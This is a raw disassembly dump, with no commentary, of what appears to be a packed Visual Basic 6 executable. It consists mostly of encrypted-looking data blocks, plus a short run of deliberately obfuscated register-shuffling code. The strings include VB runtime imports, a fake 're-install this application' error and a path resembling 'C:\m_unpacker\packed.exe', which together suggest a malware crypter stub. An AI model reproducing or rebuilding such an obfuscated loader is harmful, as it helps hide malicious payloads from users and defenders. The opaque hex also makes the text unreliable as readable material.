0FAC2AD46h dd 0DF4D2CC2h, 72F407BFh, 0ED251733h, 3E470F03h, 0F7FEE75Bh dd 6500F9F9h, 0F9F7FEBBh, 542D65ADh, 0E40F4737h, 658BC38Bh dd 612B4F4Eh, 9FFAC729h, 0F9F7FF91h, 9FD79F57h, 3EF383E6h dd 3DF5FFE8h, 20582744h, 0CCC9E24Ch, 1ADFBAC3h, 0CE05D253h dd 0A3403F06h, 13BDB5C6h, 8F00Fh, 51695C00h, 0AEE6D5BAh dd 29612A45h, 0A7DFADC2h, 2159234Ch, 32B09DCAh, 0B4DB3048h dd 0B648FC7h, 8BE40F47h, 0C1608BC3h, 0CF939DF8h, 0F755E825h dd 1C3404E8h, 6DA595F2h, 14C75C83h, 728A7013h, 758D7D1Eh dd 6BA36F0Ch, 4EE58985h, 66CF6361h, 71D32h, 7FFE0000h dd 4B7h, 54EA2F2Ch, 4C2F5659h, 162F437Bh, 1FA2EE73h, 827417E8h dd 0C4A8A44Ah, 2DE4D018h, 0BBAF9AE9h, 625D648h, 0FFF31D35h dd 0DF7CF693h, 1E9FBB2Bh, 0DF5BC5A0h, 0C50DBB2Bh, 0AA97F48Dh dd 0A2C7FE92h, 0C1160307h, 0D4FF11D9h, 0CAAFD6D9h, 0C703B302h dd 34572EE6h, 61043D44h, 0C703B2BFh, 0E44C69A1h, 84C703B2h dd 0F5B1C84Ch, 2E5263E0h, 8A7C1F66h, 0FC909C72h, 38503857h dd 94E82C01h, 0F7EB45F4h, 811h, 0DB304833h, 668DC5B4h dd 0E3084009h, 6D86BE8Ch, 0EB003802h, 291391BCh, 0A895FA11h dd 28147B90h, 0A494FB10h, 1F26876Ch, 25CFB67Ah, 1708AAE8h dd 0F21C3404h, 0C8DBACCFh, 2428C6FEh, 19E5826Ch, 0A6C5A9E1h dd 7457BCD4h, 6A0F7639h, 0E825C7EAh, 2C4F36FEh, 0A0CF245Ch dd 654EA0D8h, 7B1E6728h, 0EE16070Fh, 36019D1h, 437A033Bh dd 1606FA26h, 4A26EEEEh, 86BE8EE1h, 53D0F68h, 82F4093Ch dd 0F6EA44CDh, 789h, 53B8D0BBh, 0DE354D3Ch, 5BB0C8B1h dd 0E50E4634h, 6388C08Ah, 0B19B1934h, 301D7299h, 0B09CF318h dd 2C1C7398h, 675EFF14h, 25D01E02h, 7F60C2E8h, 3B424D48h dd 25C82C5Eh, 0B19F3CE8h, 0CBA8D199h, 2D21CF07h, 331B7841h dd 23B88C70h, 954BB20Ch, 0D13A723Ah, 58B6CEBEh, 47D3273h dd 937D9567h, 0AFCAF39Fh, 0EE0FA21Eh, 2A330AC2h, 43CD8959h dd 713F1EDh, 46310000h, 0C38AE50Eh, 3E0F608Bh, 0BC82ED06h dd 36006F84h, 8FA2F51Eh, 0E8033B0Dh, 6982BA87h, 0E9023A06h dd 759EB686h, 0A888EDD4h dd 0B8E825D1h, 3D5E051Ah, 36553951h, 14770E46h, 0D01EF27h dd 0E0A8CF61h, 89C1F9C3h, 0B823B867h, 0FFCEDDADh, 1CEAB50Bh dd 0BEF64BD3h, 0B2321DF6h, 4E326767h, 18h, 0FB13E487h dd 66751915h, 1E02675Eh, 0C2E23589h, 0BC7E660Ah, 2D000002h dd 1E02675Eh, 0C2E23589h, 8D639B61h, 20EAC981h, 17E784E8h dd 7B3A11FFh, 62284D34h, 0E3E825C9h, 1FFF1EDAh, 0DBEA3C6Ah dd 268132FEh, 8CC489E8h, 3AF26E62h, 63298A56h, 81C9C52Bh dd 503C5F6Ah, 47375438h, 0B486E10Fh, 1EF008F7h, 40235A12h dd 0A3AF4179h, 464764CFh, 4553049h, 1EE16C0h, 8E609862h dd 0FA32EE82h, 8B18E083h, 3648AC2h, 0E3EF0139h, 6708E3ABh dd 0F6917F97h, 8CB5CC04h, 16C047E9h, 0BDD119EEh, 327D3813h dd 0C9D72E4Bh, 4189F400h, 98315178h, 1E02ACC7h, 5F9h, 0A348804Bh dd 2EC5FDCCh, 0AB407841h, 35DEF6C4h, 0B358705Ah, 814BC9E4h dd 0CDA249h, 804C23C8h, 0FCCCA348h, 0B78E2FC4h, 25D24ED2h dd 0AFB012E8h, 0F21C3404h, 0A1A595h, 0EDB6414Ch, 92F51B53h dd 187F91A9h, 93F41A32h, 747896AEh, 0EBDD184Bh, 75F0EB70h dd 20582685h, 618AC2CEh, 78029054h, 0FD37F99Ch, 0E129E235h dd 8C79F965h, 47E71008h, 0C3AFD816h, 67B3E4E0h, 88EDD432h dd 0E23669A8h, 695370B8h, 74C3D51h, 0AF000000h, 1247Fh dd 34042C00h, 7208251Ch, 0EF41D963h, 558F3h, 0C901F400h dd 467E4D22h, 0C1F9C2ADh, 5F77452Ah, 0D9F1DBB4h, 0CA486532h dd 4C23C800h, 0C3AC477Fh, 432CC7FFh, 9A8437Bh, 0D1CB5530h dd 3F9DE825h, 503D5E20h, 47375438h, 937D9564h, 5E39D79Fh dd 0DFB8566Eh, 5037D9F1h, 61BE5068h, 960DFFFAh, 0AB93CA0Dh dd 95577893h, 2B3266CBh, 1Eh, 0AF7FC8h, 7F2C0000h, 0A9h dd 0C8C4C206h, 25D3718Fh, 3658E040h, 4880E2h, 4D487F6Ch dd 3B023B42h, 3588D25Eh, 325E96E2h, 25C92357h, 0E30DC5E8h dd 0BBC2CDC8h, 0FCEE3DEh, 3A0360EEh, 7AB26E02h, 892C3843h dd 71BB5CDh, 4A9h, 7398B09Bh, 0FE152D1Ch, 7B90A891h, 5EE2614h dd 8368A06Ah, 917BF9D4h, 10FD9279h, 907C13F8h, 0CFC9378h dd 87BE1FF4h, 25D33EE2h, 9F8022E8h, 3B424D48h, 1FD4EF5Eh dd 4039F1E8h, 84495A23h, 0E6AEA24Ch, 0D4B9640Dh, 2810E81Fh dd 420A6910h, 2A62290Ah, 0B982ED46h, 2EC24EAh, 0B4A8460Eh dd 445h, 424D48E7h, 0C92C5E3Bh, 0F43CE825h, 4FD1B48Dh dd 11E825C9h, 261BB5D9h, 4B5108E2h, 107C38E1h, 48317E3Fh dd 1012942Dh, 0A59C54EEh, 0CD88E894h, 0E5F43EDh, 3E000004h dd 0B7D8334Bh, 345BB0C8h, 8FE00B43h, 0D6289C1h, 0BFE8033Bh dd 0EE261092h, 6DA56A05h, 0ED25E986h, 69A16906h, 7F1A2382h dd 0E825D3B1h, 480A15B7h, 0A16734Dh, 0DEE23589h, 3B738B7Dh dd 5F172F18h, 0C93B4326h, 0E52DE825h, 0FA12FF9Ch, 0FCCCAF96h dd 78402FC4h, 0C90C1471h, 7FDCE825h, 9599778Fh, 507B95DDh dd 46235A55h, 0EE1607C7h, 3A523A99h, 0A0680B72h, 0D5B68368h dd 0DEBDD1E9h, 1338D6EEh, 4C847692h, 9FE6AEA2h, 150FFAh dd 2019D1F4h, 0C798E5E1h, 72CED27Ch, 0D2000003h, 2B44AFE7h dd 0A8C72C64h, 234CA7DFh, 0A1CE255Dh, 354BFD7h, 0A2DAAC2Eh dd 21592649h, 0A1D9A5CAh, 3D55254Ah, 2B4E77D6h, 0E825D405h dd 5E6679DBh, 891E0267h, 0AC2E235h, 1D350566h, 6CA494F3h dd 0E7492C15h, 0E1E23588h, 7957C9EEh, 78B02C99h, 219CBF14h dd 8372176Eh, 65E81FAFh, 0FA2243ADh, 23E81FAEh, 18D4D104h dd 0A83850F2h, 2Eh, 424D484Bh, 5A72583Bh, 0A76A0F36h, 0B9E81FB7h dd 7ECC0871h, 3FCFD50Bh, 0D9B8167Ah, 0E81FDB53h, 21FCFFD8h dd 385121A3h, 1105Dh, 3404BE00h, 395C651Ch, 0E23588F7h dd 0E34D21E9h, 0E39AB284h, 8971BFDAh, 0BF77E235h, 321A7DD3h dd 7E6013D6h, 4E6DC68Ah, 0A7AB457Dh, 53C01EFh, 359CC060h dd 4B68A0E2h, 0ACA04E86h, 0A3DBA3C0h, 0A1CD2148h, 4F76E235h dd 0C126908Bh, 6A4FE4C2h, 0E2360FC6h, 5D3E529Ah, 0D1BE556Dh dd 23FD1E9h, 8F619961h, 0C5C0EF83h, 51BFD7A1h, 556C155Dh dd 7CC24636h, 0F96C73Fh, 6E0B672Fh, 0E8202A27h, 391AF139h dd 9074587Ch, 0B6830324h, 0D79FD760h, 0B2BDCBAEh, 6BA3EE0Ch dd 7E877112h, 0FA142C1Dh, 0B34DD3F6h, 0DB13EE0Ch, 25177893h dd 476FD4EDh, 48E6CD8Ch, 21C54h, 255D2800h, 0A2DAA1CEh dd 3D552649h, 0BBD3B9D6h, 354D3F50h, 26A489DEh, 0B8D73C54h dd 3F50BBD3h, 0BFD03B53h, 0FD5CB7CFh, 0D67FA1C4h, 0C361E825h dd 4D3D5EDCh, 0F4D7DB35h, 2824CA02h, 3D552744h, 0B8F68044h dd 0FE825B5Dh, 66563992h, 0B6E572Eh, 0E2358B25h, 349FF33Bh dd 424D482Bh, 0B7B35E3Bh, 6950E81Fh, 1FB8240Ch, 600CC4E8h dd 19311FBCh, 0CAB3FBF7h, 81AFCAF3h, 67E81FB8h, 0B8A68AAFh dd 72BAE81Fh, 4BD1B01Eh, 0A2E81FB9h, 0CF076DD9h, 0C6A03F4Eh dd 385D608Eh, 0E82038F8h, 3D0320E8h, 915FC0C9h, 2169283Ch dd 0D50097CFh, 6295B2E3h, 518B29BBh, 0C4C738h, 6D0E0000h dd 0EE89679Fh, 509E71Fh, 432214Dh, 95F21C34h, 43C00A3h dd 2BC3A24Ch, 82E2358Eh, 66982BAh, 0CDF01E36h, 44AAE2AEh dd 8E141C79h, 1CD4E235h, 96173854h, 80056019h, 85E81F95h dd 9557D9BCh, 89ECE81Fh, 0E81F95A7h, 25ED71B9h, 245D9549h dd 28C929E0h, 274BA350h, 0A1EEAF8Ch, 956CBDD8h, 0B47CEE0Ch dd 0A4DCAECDh, 2020E4DDh, 0B241A7A3h, 0DBF6144h, 69A1EE0Dh dd 0F7C1AE05h, 0ECB3E6DFh, 60CECD8Bh, 0D87Ch, 49817400h dd 0C6FECDA2h, 4179422Dh, 0DFF7C5AAh, 59715B34h, 4AC8E5B2h dd 0CCA34880h, 432CC7FFh, 0C3AC477Fh, 8928C3FBh, 0D74BD5B0h dd 0BF1DE825h, 1A3204A0h, 96AE9EF1h, 3404627Dh, 0A595F21Ch dd 3AA29BA1h, 2D65E70Ah, 0D6A8E5C6h, 367A6DB3h, 0EF8A73E2h dd 0E2367A41h, 0EFA7EF27h, 0AF96AF96h, 367A66CAh, 97B27AE2h dd 0E2367A89h, 7A51DFBAh, 0DF17E236h, 82E78B43h, 0E826BB04h dd 0A5C22CE4h, 3956BDD5h, 0EAD73951h, 6688C089h, 6763066Ah dd 0AA40A910h, 57273EB9h, 0D3BBD43Fh, 0DAA1C2BBh, 2C404CA2h dd 9417E582h, 36D890A8h, 7EE71249h, 1B7E478Eh, 40A91015h dd 0FA2603CBh, 0EE40A90Fh, 0EA856E26h, 9FB78122h, 0DB357D71h dd 8C7h, 0ECDDBE00h, 4EABB8D4h, 1931045Dh, 90A890F7h, 1D35197Eh dd 6FA794F3h, 0FC14E681h, 4B837512h, 0C4FCC2A5h, 447C4D2Ah dd 0C6FECDAAh, 89570128h, 4C781E7h, 83000000h, 3C8704EFh dd 24248B24h, 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch db 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push edx push 31294931h pop edx neg edx push ebx mov ebx, 34B258AAh shr ebx, 4 neg ebx sub ebx, 7D09B61Bh and edx, ebx pop ebx shl edx, 4 xor edx, 0EDD205B9h mov ebp, edx pop edx push esp mov eax, [esp] add esp, 4 push 4352h mov [esp], edx mov edx, 8 add edx, eax mov [edx], ebp pop edx mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push dword ptr [esp] pop ebp add esp, 4 jmp loc_5562A0 ; --------------------------------------------------------------------------- db 19h, 0FAh, 0B1h dd 0CF565E08h, 0F80DA368h, 961FA69h, 0F04F6DB8h, 0FFC50305h dd 76143DE0h, 299494Fh, 2BB5C159h, 8E479B4Eh, 0B91B3120h dd 0C4A28E2Dh, 6651720Dh, 8E6B2404h, 9097B250h, 0CF16190Dh dd 2759BD52h, 0BD7A2A0Fh, 0FB3A4D3Eh, 79323224h, 0D5D55A7Dh dd 4F1E1977h, 1A71955Ch, 13825A6Eh, 0DF050251h, 728D8D77h dd 6A05F051h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 11DC355h, 660E3CADh, 6D03EB81h dd 2C71BD31h, 0B70F05EAh, 0DD8D89D0h, 6A05EA0Ah, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 2044C352h, 0F092352h, 0BD31D6BFh, 5EA3199h, 0ACD85C7h dd 6EAC05EAh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 85C75BC3h, 5EA25F5h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 62C35040h dd 99F22C67h, 8005F32Fh, 0B5FFD1C8h, 5EA1BC9h, 12A9B529h dd 95FF05EAh, 5EA2A19h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 0E2C35343h, 0ADF7E0Fh, 0FCADC123h, 6860Fh dd 0BD310000h, 5EA2BB9h, 95FF006Ah, 5EA1015h, 38EBC08Bh dd 91155164h, 290E141Dh, 0D93C2608h, 0A814671Ah, 0A16E23A9h dd 91F6961Eh, 0A3069DF8h, 0CF6B0CD3h, 927C437h, 747780D2h dd 46F2F346h, 0ABD5B1D1h, 70706B1Fh, 4FE7344Fh, 15CE9h dd 0E705C500h, 5C3A4377h, 6E755F6Dh, 6B636170h, 70007265h dd 656B6361h, 78652E64h, 65h, 3Ah dup(0) db 0 a3cannotFindS_P db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0 aThunrtmain db 'ThunRTMain',0 a__vbavartstne db '__vbaVarTstNe',0 db 0Fh, 6Dh, 0D2h dd 1A98E97Dh, 0DC680000h, 0E905F054h, 0FFFA2B5Ah, 0F055F468h dd 2B50E905h, 0F668FFFAh, 0E905F056h, 0FFFA2B46h, 0F057BF68h dd 2B3CE905h, 0E68FFFAh, 0E905F058h, 0FFFA2B32h, 0F058B568h dd 2B28E905h, 0D68FFFAh, 0E905F059h, 0FFFA2B1Eh, 0F0596168h dd 2B14E905h, 8668FFFAh, 0E905F060h, 0FFFA2B0Ah, 0F0611768h dd 2B00E905h, 0C268FFFAh, 0E905F061h, 0FFFA2AF6h, 0F0629568h dd 2AECE905h, 768FFFAh, 0E905F063h, 0FFFA2AE2h, 0F063AC68h dd 2AD8E905h, 4568FFFAh, 0E905F064h, 0FFFA2ACEh, 0F064E568h dd 2AC4E905h, 0D068FFFAh, 0E905F06Ah, 0FFFA2ABAh, 0F06BCE68h dd 2AB0E905h, 6B68FFFAh, 0E905F06Ch, 0FFFA2AA6h, 0D1853ABEh dd 0A5F1A42Bh, 2D791C5Fh, 0A3F7A2D7h, 2E7A1959h, 5750988h dd 76F80256h, 0E96B91C5h, 55986236h, 0C85AF0A4h, 46BA827Ah dd 0D079F51Dh, 1F0CD039h, 0FBE857B5h, 1C175E58h, 0FF933FE0h dd 0C0353F93h, 71EB4511h, 5725E9C3h, 0EAD2117h, 21B9CEA2h dd 0AB728782h, 47F56FF5h, 1757266Dh, 81FB58C0h, 12BD3456h dd 6B1DB129h, 116D1295h, 363FADE3h, 2E24E842h, 38B2h, 1B6EEB00h dd 0B5AE1C42h, 4812BC48h, 12408ED0h, 2A1CD61h, 0C032FCA2h dd 0BAF21352h, 6F03754Bh, 13C2B6CCh, 703E116Ch, 0AF2DE304h dd 15E3AB08h, 612E23E6h, 93h, 82F73938h, 0B4177BD7h, 329E3BB2h dd 0B519BA38h, 379B36BFh, 4D19B83Dh, 566329CBh, 4DEC6117h dd 0CF6AE319h, 461F6A63h, 681DAA18h, 48D012BCh, 0C994E51Ch dd 0AA1E2597h, 49D10CD0h, 0FA99D917h, 87CE00AEh, 0B4F49EAh dd 41D95B68h, 852DE82Ah, 182554h, 983FB100h, 1CC136CCh dd 9C41B248h, 12BF32C8h, 9D3EBC46h, 94EE6FC9h, 1BE1B566h dd 8E7420D3h, 7FDA94Eh, 0DD7723CEh, 0BB07FD4Fh, 0F67A1D46h dd 4EED6D5Fh, 0FE9BDE10h, 76FF055Dh, 6ED68FDBh, 0D21C421Bh dd 0C5EFDA2h, 0BC48A5BEh, 9EC05812h, 0F3412450h, 116C37F9h dd 14B8D44Ch, 257BDB78h, 18B467EBh, 0FA3B1735h, 690544CDh dd 0DF6F7244h, 0D370EB86h, 6BB4D7A9h, 0FD6F2111h, 238708F0h dd 57E57F2Eh, 116BA95Dh, 0FA8D2CADh, 0C898C162h, 0C1000000h dd 0E549E86Dh, 64C86BEFh, 56635212h, 64155817h, 0D683CA30h dd 1E26737Ah, 315AFB73h, 9CF4D9B9h, 9B4E6DBBh, 0C45E006Ch dd 0B364905Eh, 2F05731Fh, 0AB175628h, 56282319h, 790E9617h dd 8F3842E1h, 0B12BC2Dh, 4FE392C5h, 0F4AB2923h, 0E0B42C57h dd 6B351019h, 0D070C3D9h, 6FB65F0Ch, 45A25EFBh, 4CB2C96Ah dd 5F016D0Eh, 11C40BC5h, 7472D1BDh, 13BE3306h, 0A1D12B7Fh dd 0D569C1F2h, 15BDE82Ah, 170DC4h, 0A0579900h, 14C90EF4h dd 8439BA40h, 0AA72AD0h, 8536A45Eh, 8CF677D1h, 3F9AD4Eh dd 867C28CBh, 0FF5A156h, 0D57F2BC6h, 0BBFFF547h, 0FE721D46h dd 4EED6D57h, 0CC6DE01Ah, 2A217B92h, 0E4F14CA8h, 6D461F47h dd 0EFE549E8h, 83B78A66h, 8C498C1Eh, 3C4DB4E0h, 3A8D3F61h dd 0A412BC7Ah, 9635EA6Ah, 5FDC13EDh, 0A4086417h, 0E2DA389h dd 254907A1h, 438D1749h, 0ACC06C0Fh, 6CA0E2DAh, 6ECD5511h dd 0A0C8B8CEh, 7E30116Ch, 7731C70Eh, 0B85D2E24h, 4000000h dd 1B11A339h, 6E175667h, 371A55F6h, 7628F504h, 0BC7D2FC4h dd 0C49A0212h, 7DF79E2Dh, 59DED373h, 0B9DBF031h, 0FE288BE7h dd 0E2B12644h, 471E6BBDh, 6B6A8319h, 8A9BC2D7h, 39BAC063h dd 8C3837F4h, 0FE6B814h, 420C79ADh, 0B7242E7Fh, 65C6AA06h dd 124C1960h, 4D6370A0h, 451B8332h, 0C397428Bh, 3605B439h dd 0C2AF67C8h, 0B05D47Ch, 9B000016h, 0CF6A255h, 847E2ACBh dd 8F2A657h, 867C28C9h, 55F3A754h, 8F2CAED4h, 0EAD21DBh dd 8334A05Ah, 9A82DD7h, 0D765F75Dh, 1D46BCDDh, 6D75DC50h dd 0ECE549E8h, 2C9EC09Dh, 12BC6ADBh, 0D584C907h, 0CDB61579h dd 24580155h, 3ABF7115h, 0F0393C9Fh, 42F94B15h, 3512BC7Dh dd 4D572D9Fh, 32AA116Ch, 183E845Eh, 8E8A9483h, 0CF631440h dd 7625A9A3h, 0FCC9D0D5h, 309310A2h, 1CF85A9h, 0FA8122D1h dd 0B2C7CE62h, 0F37BB5EBh, 2380EC40h, 908DC371h, 38A07FBEh dd 8829A866h, 3EB7792Bh, 3EB780F5h, 3F533F93h, 0C793FF93h dd 6B41F369h, 0DE7E6B7Eh, 0F4FD2507h, 365A1BB6h, 0BF5A9395h dd 3E0F488Ch, 0A574DC75h, 1542h, 0ADF99ED2h, 297D2057h dd 0A9FDA0D3h, 27731E53h, 0AAFE9DDDh, 81F18D0Ch, 0FA7C86D2h dd 85F70D59h, 0F97C86D2h, 34A60C58h, 46BDAE86h, 248D011Dh dd 0EE6DA339h, 6743394Fh, 48B61756h, 0A7046809h, 0BE8D2CA1h dd 0DC53515Ch, 0F39948E0h, 63000014h, 0E41E4AEDh, 6C96C273h dd 0E01A4EEFh, 6E94C071h, 0BD1B4FECh, 6714463Ch, 0D685C933h dd 5BFC7882h, 0D180F50Fh, 0FBD2F85h, 1D46BF35h, 6DAD0488h dd 0BBE549E8h, 66999321h, 74EC1756h, 0FEC7D2D7h, 53E512A0h dd 58B112BCh, 701F41B2h, 0C2B91AC1h, 0DBD0E5Ah, 0DC825BAEh dd 0D195D56Eh, 6E30A80Ch, 2F8334A0h, 8C36E043h, 8029DCEEh dd 0D18F56A3h, 0C552854Bh, 234FE392h, 64E9E34Fh, 7AD9B5h dd 6A3E8AA3h, 2B228E16h, 0EB5907DEh, 6453EBB5h, 0C00E50C8h dd 42B8EC8Dh, 55D6E0Bh, 7990A8E0h, 144C00D1h, 98D80000h dd 649B3E7h, 7AF90357h, 4758FDBh, 77FB0155h, 0B73690C4h dd 0BCE88BCFh, 37631046h, 0BCE88FCDh, 36620F46h, 0C8BC0E9Ch dd 3B1D46BEh, 1B111EB7h, 6F175667h, 17567799h, 56671BEDh dd 47996F17h, 5C911756h, 4DE194DBh, 387E4D21h, 4CDC5372h dd 13F435E4h, 0F0600000h, 6EE11B4Fh, 0F2619BCFh, 6CED1743h dd 0EF6399CDh, 3FBE184Ch, 34601347h, 0BFEB88CEh, 34601745h dd 0BEEA87CEh, 40348614h, 0B31D46C0h, 1B6E963Fh, 5AE1C42h dd 0D112BC4Ch, 3903F94Bh, 0C70B116Ch, 58FB6314h, 7488BB23h dd 0B0E23D7Fh, 13A0C918h, 0CC0C0000h, 52857F2Bh, 0CE0DF7A3h dd 50817B2Fh, 0CB0FF5A1h, 5BDA7C28h, 0A0F4A72Bh, 3367145Ah dd 80D48BC9h, 1246F37Ah, 0A4982AB8h, 171D46BFh, 0E86D329Bh dd 66EFE549h, 0C10F95CBh, 214DE190h, 56675D57h, 0EB48D017h dd 0C93B794Bh, 0E3CCCBCh, 313834h, 7F960000h, 36C8DA41h dd 5A52E03Fh, 0AD175599h, 5FFA5935h, 56671F11h, 0CB66EF17h dd 5ED8319Fh, 0CE408BD9h, 1FF3892Ah, 35170D7Eh, 131C4899h dd 39110000h, 73D083F7h, 0F510075h, 42E190C1h, 869EEBE2h dd 0C1663657h, 0DB85E909h, 0B8E25132h, 565C78B4h, 83D1721Fh dd 3B318319h, 8E175756h, 38CFB516h, 2212BD3Dh, 7E5ACCBh dd 0F1DCB00Ah, 0E82DB07h, 0E75D68Ah, 0EE3BC296h, 30FB4917h dd 2A0CD329h, 8678E4h, 0D89DA975h, 81FA5935h, 100DB958h dd 8CA1ECD9h, 0E1BC551Dh, 69C5A902h, 194DF063h, 0A59F2DB7h dd 180B829Bh, 66592380h, 0A40B829Ch, 2CD68233h, 0ACA60AABh dd 1AD48A2Bh, 238320D5h, 5497C58Bh, 0AA6539Ah, 8CC3C566h dd 7F09BDE9h, 8F283A6Eh, 1CBh, 421B6ED6h, 0FF9CD21Ch, 37BC0E5Ch dd 8A12BC43h, 28A54C12h, 0FE46F39Dh, 818B2B88h, 55FBAF4Eh dd 0E7CB25BCh, 6B755F55h, 674AD211h, 5CFF6EEFh, 0CC60155Ah dd 6C5AC6BAh, 0C8346A11h, 87D97CF3h, 0D4AC1A6Eh, 325EF2A3h dd 5F7FBF1Fh, 4C5DA4FCh, 0AE9D2F71h, 0C10CD191h, 88C90759h dd 0A91B45E9h, 0B816ED3h, 71D2BE26h, 0E497DBD1h, 540574BAh dd 5E9E94F8h, 0DA7915B9h, 3FFA7882h, 0DAB61ABDh dd 9E6C1AB6h, 900B816Fh, 1B11BD5Eh, 0C7973BD6h, 0CEEA0B79h dd 23576490h, 903CE116h, 1A4EB7BDh, 2A46984Eh, 67E81246h dd 0B526E8B6h, 903A300h, 874917C6h, 0AE0EAD50h, 64965806h dd 29771BB7h, 8237A19Bh, 2F8C140Bh, 37B8FF6Dh, 0A0CC6DE0h dd 66945AF4h, 0D67519B5h, 3A09EA9Eh, 4C1A28h, 6D430000h dd 0BCE24EEDh, 0FB58FD72h, 80DE7DFDh, 0E3030869h, 1BA9F373h dd 17570D21h, 0C3600C94h, 7C95CB63h, 22782C91h, 0F4DEE37h dd 0FF9CDEDDh, 5E691FABh, 0B095340Eh, 3B000000h, 0B3893BA1h dd 617567Fh, 8014E89Eh, 0FF671756h, 1B6EF95Ch, 39AE1C42h dd 0E512BC74h, 50F7CD7Fh, 0D24A116Ch, 3E920A71h, 4612C334h dd 3B026E8h, 6660C3AFh, 0EAE04CF1h, 0B41CB065h, 0B0598AFAh dd 0E23DEED4h, 0E6FBE9B5h, 5040A856h, 56999F3Ch, 0B147F3A7h dd 0DD2E2352h, 4Dh, 48216E84h, 6700A416h, 6BF31756h, 66BFB1C7h dd 0A4F1756h, 89C9C36Fh, 434946EAh, 2BCEC11h, 91B9C6D2h dd 43858B3Eh, 1D432F95h, 0DA0B6E87h, 7FE357E2h, 0A0FEA6DCh dd 69F11755h, 0D978F937h, 55F99CD3h, 0E3C29A39h, 7, 5AB6BAh dd 6DEF0000h, 0E9E34FEEh, 620BF666h, 34018CF2h, 6CA20C58h dd 8AE64AEBh, 0F5A82F29h, 0A98331ABh, 1C1756BEh, 0D9872784h dd 9B37E217h, 0BF7D77C5h, 68F01756h, 61A2A704h, 23522488h dd 0AFE8A9F2h, 0CF70EC2Dh, 0D2050FA3h, 0F5AB8F23h, 642A5687h dd 911BEDF8h, 536B340Eh, 3200000Bh, 0E04C256Eh, 0FD52EB96h dd 0ADDF919Eh, 0B6CD53BAh, 4C28BC74h, 8DD1A7EFh, 313DAA62h dd 64000000h, 124C256Eh, 51FD9EDCh, 7ECC9E3Dh, 17566786h dd 0BBCD61F9h, 0BE25AB63h, 58A5D799h, 8A9A6BB0h, 2C5DCh dd 5AE87200h, 6DE28D62h, 4BEE4DD5h, 1B11A339h, 6E175667h dd 6DA79AB7h, 58343AA6h, 0DCB5FEFBh, 6DBA0375h, 0BDE049E8h dd 0C170E12Fh, 7A2016Dh, 0E054523h, 3EB137h, 0F61F0000h dd 5049EEC0h, 0BC19BA57h, 0E54C256Eh, 0DD80F739h, 0ECBE1D71h dd 5667695Eh, 0ED44DC17h, 0EE6D5439h, 9ADF114Fh, 0A0F95CFFh dd 43B6DDh, 0D6180000h, 7C70C2A5h, 0CF175667h, 3D983B57h dd 0A92A256Eh, 12BE5B92h, 207E127Eh, 0F6896DEEh, 0B726DD4Dh dd 7814B8D4h, 8B397EDBh, 175666B4h, 393B9232h, 11A33954h dd 1756671Bh, 5355F66Eh, 0A0D47D20h, 80F739DDh, 0BE1D71DDh dd 847314C4h, 7B185AE1h, 0F1A0D52Fh, 0A84B8F95h, 0F0A5D6CCh dd 7724565Ch, 0CF3D73DBh, 6490CEAEh, 0B1039903h, 208452BBh dd 0CE0960Eh, 7F208453h, 0B4244E7h, 0BC26B46Eh, 8453360Eh dd 778920h, 9492315Dh, 3C308261h, 8F208453h, 3AD91D17h dd 0F296FA96h, 81155BCh, 0C227C7B8h, 87AAB042h, 3794A2C2h dd 0C07E1978h, 72BA5394h, 96E95BB0h, 51848221h, 39BC7AA0h dd 74E6FC98h, 842BEADDh, 0A1C55D20h, 0B7059FD1h, 20842BBDh dd 54289A30h, 0A720842Ch, 1B59533Fh, 7A4C864h, 4D801745h dd 42B076ACh, 1E7E3D91h, 392A5A18h, 2C1B11A3h, 0F66E2084h dd 5CDFF5DBh, 55F6411Ah, 0FC4E1F53h, 20845E08h, 0DB8FE37Bh dd 690DAC21h, 7146FF73h, 0C420845Eh, 0B022385Ch, 34A5AF03h dd 0C5772985h, 20845DEFh, 3270DA42h, 868C93C2h, 6D0C4156h dd 2ECC25B7h, 8C8E83D6h, 80F5F350h, 2C5B51E3h, 36AE2084h dd 0B6D3E5Ah, 4C9FCD8Fh, 458D76A5h, 6AC9B821h, 1648E96Ch dd 47463E8Ch, 21B92084h, 2FC65482h, 0C1069BB7h, 45F7A9B3h dd 2084516Fh, 0FFF95AC2h, 9D3CBD76h, 6F315D31h, 2F8332A1h dd 9288E043h, 0A7D7B360h, 0EBC173E9h, 5E208450h, 0B52765C6h dd 18C26FE6h, 6213448Ah, 0E74BEC68h, 6D8D288Bh, 3E049E8h dd 7FF739BAh, 357A7FDCh, 2FBDF55Ch, 6EC271E1h, 14C50802h dd 452312B7h, 0B1370E05h, 54h, 48216EE8h, 0F899D816h, 781D5E54h dd 77D4B8D4h, 0B48B39D2h, 7175666h, 5439369Fh, 40D0D039h dd 9A07D679h, 0C6CCA055h, 274BE794h, 0A84D8284h, 0DB111FF6h dd 9FDEF3B8h, 0A339993Ch, 56671B11h, 0FFF54717h, 72175666h dd 0A6059DEAh, 2BB6106Dh, 0EF000000h, 1648216Eh, 28FEA1FFh dd 8427D58Bh, 6DA33921h, 88E448EFh, 675E512Bh, 22E41756h dd 0C3AF03B0h, 543906AFh, 0E24BEA6Dh, 6511DDA0h, 0F175669h dd 0FFFCF7DEh, 0F73987FFh, 1C70DC7Fh, 66F3C5BFh, 0F56F1756h dd 56676D47h, 362C9A17h, 0BB067A5h, 4247E47Ch, 0C63C6841h dd 3A4CE095h, 17575142h, 54D53C92h, 26CCE74Dh, 0CD3F7DDEh dd 68DA8DCEh, 1756DF94h, 4D137FE7h, 1AD5083h, 6C96CE6Dh dd 0DAE2CEBh, 0C3CC3561h, 773442EEh, 415500AEh, 3D37851Fh dd 0B0D5008Ch, 9BC98B28h, 885FA148h, 90BD5C9Dh, 0F65502ADh dd 0B893CABEh, 1E23AF1h, 11630000h, 1756671Eh, 9DC39AEFh dd 0BC64CC2Fh, 0F3A73F12h, 752BCA09h, 379B36BBh, 0B11DBC3Dh dd 0B212B1DDh, 2A8637B8h, 266E9D74h, 